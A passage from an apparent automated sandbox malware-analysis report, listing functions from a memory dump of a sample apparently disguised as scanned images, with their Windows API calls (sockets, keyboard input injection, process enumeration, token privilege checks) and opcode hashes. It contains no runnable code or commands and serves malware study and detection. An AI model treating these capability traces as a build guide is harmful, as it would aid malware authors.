_memcmp.LIBVCRUNTIME ref: 004B064E

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: c4a1c36d0209b157820926256928213e5f392ef937c3786abd746dcde4ae2263
Instruction ID: fd97021d00e2fa7e763c0c8fa595ddcdb2c1be5d29e0e0358cc2e4858bf34c29
Opcode Fuzzy Hash: c4a1c36d0209b157820926256928213e5f392ef937c3786abd746dcde4ae2263
Instruction Fuzzy Hash: 0A810B71A00109EFCB04DF98C984EEFB7B9FF89316F204559E506AB250DB75AE06CB64

Function 00491391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004914C0

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 075eefe01ffac802ba4afe033aa4802d443d16629ed6776b4b546c2181a61e56
Instruction ID: 48452378026a5595d677acf3399e29e1fd44bd449a9ae078e2a7f34c3aedec28
Opcode Fuzzy Hash: 075eefe01ffac802ba4afe033aa4802d443d16629ed6776b4b546c2181a61e56
Instruction Fuzzy Hash: 8E415D316005026BDF257BBA8C45ABF3EA4EF45374F25467BF818D62E2E63C8841476A

Function 004E6278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(012A1190,?), ref: 004E62E2
ScreenToClient.USER32(?,?), ref: 004E6315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 004E6382

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 0559e773343f1a471a435889fbff181453fe66c344511267ac58b587fc0252fa
Instruction ID: 38cdf049e784638b9de53d0c30d31f4d348d09d729f78f829ddecc98f3dbce5e
Opcode Fuzzy Hash: 0559e773343f1a471a435889fbff181453fe66c344511267ac58b587fc0252fa
Instruction Fuzzy Hash: FA516B70900289AFCB20DF69D8809AF7BB6EF653A1F11816AF9149B391D734AD81CB54

Function 004D1AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 004D1AFD
WSAGetLastError.WSOCK32 ref: 004D1B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 004D1B8A
WSAGetLastError.WSOCK32 ref: 004D1B94

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 685e2af9d22751a59b6cb1c82661e5bdabd8d2a11deadbbbfc5912a24a2ad8ee
Instruction ID: 412f06c7d83aed2058937d59c423a1c3d1517743b77c7552dd66c29ca2fb8e65
Opcode Fuzzy Hash: 685e2af9d22751a59b6cb1c82661e5bdabd8d2a11deadbbbfc5912a24a2ad8ee
Instruction Fuzzy Hash: 6F41B134600200AFE720AF25C886F2677E5AB44718F54845EF91A9F3D3E77AED42CB95

Function 0048B41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed258d06f50d9e07c15b1d437aeeccd1454d3325bca08c032cf8e5b517981985
Instruction ID: 00e38616e1adeec14fe624730151d43343bf5c7e19d56514125b9167d4ee6f65
Opcode Fuzzy Hash: ed258d06f50d9e07c15b1d437aeeccd1454d3325bca08c032cf8e5b517981985
Instruction Fuzzy Hash: 0041F871900604BFD724AF39C842B6EBBA9EB84B14F10892FF545DB292D379990187D4

Function 004C56D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 004C5783
GetLastError.KERNEL32(?,00000000), ref: 004C57A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 004C57CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 004C57FA

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 4ad0386d0e445e501f0b3f0be576009c1408e5d5341982b1f7a23b52cf9e823c
Instruction ID: e7bd91e719ee6d852d063227f20b00194c96e6d7e36dcd510b82fd574fbfaa82
Opcode Fuzzy Hash: 4ad0386d0e445e501f0b3f0be576009c1408e5d5341982b1f7a23b52cf9e823c
Instruction Fuzzy Hash: D6415E39600610DFCB10EF15C484A1EBBE1EF88329B18849DEC4A5B362DB38FD45CB95

Function 0048D8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,00476D71,00000000,00000000,004782D9,?,004782D9,?,00000001,00476D71,?,00000001,004782D9,004782D9), ref: 0048D910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0048D999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 0048D9AB
__freea.LIBCMT ref: 0048D9B4

Part of subcall function 00483820: RtlAllocateHeap.NTDLL(00000000,?,00521444,?,0046FDF5,?,?,0045A976,00000010,00521440,004513FC,?,004513C6,?,00451129), ref: 00483852

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 2b7dd28b92642dae97648f86e97bcd1b6bf354a7b4fbbc464e2736eaa8b7a92d
Instruction ID: 12d8c6ada76d39fd9c4810e49d2a797e7f899510cc813abc5593ba42d710eb17
Opcode Fuzzy Hash: 2b7dd28b92642dae97648f86e97bcd1b6bf354a7b4fbbc464e2736eaa8b7a92d
Instruction Fuzzy Hash: 1631E0B2A0121AABDF24AF65DC81EAF7BA5EF40310F05456AFC08D6291E739CD51CB94

Function 004E52C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 004E5352
GetWindowLongW.USER32(?,000000F0), ref: 004E5375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004E5382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 004E53A8

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: 8095d614f596a34306f5697a97d46140da2bd777fd1beab146560344df368a58
Instruction ID: 7c517c26676c22204f21b1d7a2c69bc2698b8159658f02caabddd51fa4201406
Opcode Fuzzy Hash: 8095d614f596a34306f5697a97d46140da2bd777fd1beab146560344df368a58
Instruction Fuzzy Hash: 0D310734A55A88EFEB309F16CC45BEA3761AB0539AF584103FE10963E1C3B89D41974A

Function 004BAB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 004BABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 004BAC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 004BAC74
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 004BACC6

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 0c6142be0d503b4e9424dd4d35607ad1ebae04c1dab2cea42c4bd32da8ccdb1c
Instruction ID: c145cdc8335687f2bfc9744f0635399d3fe2056a0b7e0f747120402f50d767ba
Opcode Fuzzy Hash: 0c6142be0d503b4e9424dd4d35607ad1ebae04c1dab2cea42c4bd32da8ccdb1c
Instruction Fuzzy Hash: 39311630A002586FEF35CB6988497FB7FB5AB85310F04421BE481562D6D37C89A187BA

Function 004E7674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 004E769A
GetWindowRect.USER32(?,?), ref: 004E7710
PtInRect.USER32(?,?,004E8B89), ref: 004E7720
MessageBeep.USER32(00000000), ref: 004E778C

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: cbf303a2bca483ee8ebe63f1f9292eb52de71c98929a5e59502cd51f2ac37d8c
Instruction ID: fc9e56addd63322b1f66ec3f5ae1c07b64b5d2097b1b62875c9e025b91dacf9a
Opcode Fuzzy Hash: cbf303a2bca483ee8ebe63f1f9292eb52de71c98929a5e59502cd51f2ac37d8c
Instruction Fuzzy Hash: 0D41B034A05294DFDB11CF5AC884EAA77F0FF59325F1440AAE4149B361C338B982CF94

Function 004E16DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 004E16EB

Part of subcall function 004B3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 004B3A57
Part of subcall function 004B3A3D: GetCurrentThreadId.KERNEL32 ref: 004B3A5E
Part of subcall function 004B3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,004B25B3), ref: 004B3A65

GetCaretPos.USER32(?), ref: 004E16FF
ClientToScreen.USER32(00000000,?), ref: 004E174C
GetForegroundWindow.USER32 ref: 004E1752

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 00a5c1e5fc5110974ae8ebe3171db7b233985a4e499e35c1c7496475ed067437
Instruction ID: f093c4be3d833c80f355f368b3b02eec9ab300919d6fc813fcee77381ca7a653
Opcode Fuzzy Hash: 00a5c1e5fc5110974ae8ebe3171db7b233985a4e499e35c1c7496475ed067437
Instruction Fuzzy Hash: C5313075D00249AFC700EFAAC8C1CAEB7F9EF48308B5080AEE415E7252D7359E45CBA4

Function 004BD4DC Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 004BD501
Process32FirstW.KERNEL32(00000000,?), ref: 004BD50F
Process32NextW.KERNEL32(00000000,?), ref: 004BD52F
CloseHandle.KERNEL32(00000000), ref: 004BD5DC

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 1239b0787b76d3c439192ef949c1f08a98387241ff06ec2e8097c83a878ba507
Instruction ID: 93f92e1ae2a9eb982ea55e643881c02f52753d6682b951475fd64041aac6e0cd
Opcode Fuzzy Hash: 1239b0787b76d3c439192ef949c1f08a98387241ff06ec2e8097c83a878ba507
Instruction Fuzzy Hash: 3F31DB71108340AFD310EF54C881AAFBBF8EF95344F14096EF981871A2EB759949CBA7

Function 004E8FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00469BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00469BB2

GetCursorPos.USER32(?), ref: 004E9001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,004A7711,?,?,?,?,?), ref: 004E9016
GetCursorPos.USER32(?), ref: 004E905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,004A7711,?,?,?), ref: 004E9094

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 321a0618f43dc896e73cc8b3d625f2994805418aaf60174f94e314ccb26e766f
Instruction ID: e18bf523a6b58cfba39c1f37bd6a1aa66f4e46de80e70e305ca68edfa3f0b32f
Opcode Fuzzy Hash: 321a0618f43dc896e73cc8b3d625f2994805418aaf60174f94e314ccb26e766f
Instruction Fuzzy Hash: F921B171600158FFCB258F96C898EEB3BB9FF4A351F44406AF5054B2A1C3359E91DB64

Function 004BD2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,004ECB68), ref: 004BD2FB
GetLastError.KERNEL32 ref: 004BD30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 004BD319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,004ECB68), ref: 004BD376

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 1226d4351b34626a0417617acca6c2100405d21f7a307a9d5b13df89fc1a8fda
Instruction ID: bc13bf1c82db40769c099e1086c7131a6c7f66aeaf6cf13a93a22d9ff15a1035
Opcode Fuzzy Hash: 1226d4351b34626a0417617acca6c2100405d21f7a307a9d5b13df89fc1a8fda
Instruction Fuzzy Hash: 432182709042019F8700DF25C8814AB77E4AF55359F105A5EF895C72A3E739994ACBAB

Function 004B1571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004B1014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 004B102A
Part of subcall function 004B1014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 004B1036
Part of subcall function 004B1014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 004B1045
Part of subcall function 004B1014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 004B104C
Part of subcall function 004B1014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 004B1062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 004B15BE
_memcmp.LIBVCRUNTIME ref: 004B15E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004B1617
HeapFree.KERNEL32(00000000), ref: 004B161E

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 32eecaadf14215df19102c0ed1dfbb261641bf60d1780ffd9a0777536df2fc90
Instruction ID: 2bf09c66886cda5952258cb190e163d447c5bce1d63a72f8daf649dc5ab1107d
Opcode Fuzzy Hash: 32eecaadf14215df19102c0ed1dfbb261641bf60d1780ffd9a0777536df2fc90
Instruction Fuzzy Hash: 4021AF31E40108EFDF10DFA4C995BEFB7B8EF45344F48445AE441AB261E738AA15CBA4

Function 004E2782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 004E280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 004E2824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 004E2832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 004E2840

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 080e693e1c80764d6f2c00212819a83498bf35ef35726613cba74f9da0dad628
Instruction ID: 59cfdebf3af08a6248b45ab045d5e73b82cd81f6bb9da0c23319769485bf1d58
Opcode Fuzzy Hash: 080e693e1c80764d6f2c00212819a83498bf35ef35726613cba74f9da0dad628
Instruction Fuzzy Hash: E9210231204190AFD7149B26C981F6A7799BF45329F14821EF8168B2D2C7B9EC42C798

Function 004B78F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004B8D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,004B790A,?,000000FF,?,004B8754,00000000,?,0000001C,?,?), ref: 004B8D8C
Part of subcall function 004B8D7D: lstrcpyW.KERNEL32(00000000,?,?,004B790A,?,000000FF,?,004B8754,00000000,?,0000001C,?,?,00000000), ref: 004B8DB2
Part of subcall function 004B8D7D: lstrcmpiW.KERNEL32(00000000,?,004B790A,?,000000FF,?,004B8754,00000000,?,0000001C,?,?), ref: 004B8DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,004B8754,00000000,?,0000001C,?,?,00000000), ref: 004B7923
lstrcpyW.KERNEL32(00000000,?,?,004B8754,00000000,?,0000001C,?,?,00000000), ref: 004B7949
lstrcmpiW.KERNEL32(00000002,cdecl,?,004B8754,00000000,?,0000001C,?,?,00000000), ref: 004B7984

Strings

cdecl, xrefs: 004B797B

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 17d359aeacdb3edabe4cbcb788363e7727ef1b01f91fea53fb1d3e03a6b6f24e
Instruction ID: a1cea070d120d29135133ffd011a5952d4b8ec257edfd5ae9b5b557048d0e12d
Opcode Fuzzy Hash: 17d359aeacdb3edabe4cbcb788363e7727ef1b01f91fea53fb1d3e03a6b6f24e
Instruction Fuzzy Hash: 5611037A200242ABDB159F35D884DBB77A9FF85354B00402FF842CB3A5EB359812C7A9

Function 004E7CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 004E7D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 004E7D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 004E7D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,004CB7AD,00000000), ref: 004E7D6B

